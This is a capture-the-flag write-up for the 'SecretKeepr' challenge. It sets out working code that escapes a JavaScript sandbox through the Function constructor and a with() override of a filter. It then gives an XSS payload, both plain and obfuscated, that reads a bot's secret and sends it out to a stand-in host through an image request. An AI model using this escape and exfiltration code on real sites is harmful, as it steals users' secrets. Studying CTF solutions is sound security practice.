Boston Key Party: SecretKeepr

obvious: js jail breakout! (at least not Python)

Step 1: break out of the jail

executing strings
1
(new ("".substr['constructor'])(/* string here */))();

This executes a js code string without using global variables like eval or Function. Next Problem:

the problem
1
SecurityUtils.brackets_check('constructor')

replaces ‘constructor’ with ‘invalid’, so we have to get rid of it. Solution: with(var), this sets var as the global scope, so by using

dummy function
1
var a = {SecurityUtils: {bracket_check: function (x) {return x;} } };

and

global scope change
1
with(a) {/*code*/}

we can overwrite that funtion and execute code in the global context. Step 1 is done.

Step 2: let the bot send his secret

the plain code: (hint: use a server you can read the http access logs of)

the XSS code
1
2
3
4
5
$('#sandbox-a').append("<iframe src='/' id='ifr'></iframe>");
$('#ifr').on('load',function () {
	var flag = $('#ifr').contents().find('textarea:last').val();
	$('#sandbox-a').append("<img src='http://example.com/?"+flag+"'></img>");
});

a little bit of obfuscation to get rid of string termination problems when embedding the code:

ofuscated code
1
$("#sandbox-a")["append"]("\x3Ciframe src=\x27/\x27 id=\x27ifr\x27\x3E\x3C/iframe\x3E");$("#ifr")["on"]("load",function (){var flag=$("#ifr")["contents"]()["find"]("textarea:last")["val"]();$("#sandbox-a")["append"]("\x3Cimg src=\x27http://example.com/?"+flag+"\x27\x3E\x3C/img\x3E");} );

finally, put this code into a string and execute it within the global context of step 1:

final code
1
2
3
4
5
6
7
8
<div id="a"></div>
<script>
var s = '$("#sandbox-a")["append"]("\x3Ciframe src=\x27/\x27 id=\x27ifr\x27\x3E\x3C/iframe\x3E");$("#ifr")["on"]("load",function (){var flag=$("#ifr")["contents"]()["find"]("textarea:last")["val"]();$("#sandbox-a")["append"]("\x3Cimg src=\x27http://example.com/?"+flag+"\x27\x3E\x3C/img\x3E");} );';
var a = {SecurityUtils: {bracket_check: function (x) {return x;} } };
with(a) {
(new ("".substr['constructor'])(s))();
}
</script>

And there it is:

flag
1
“GET /?more-fun-than-breakout! HTTP/1.1″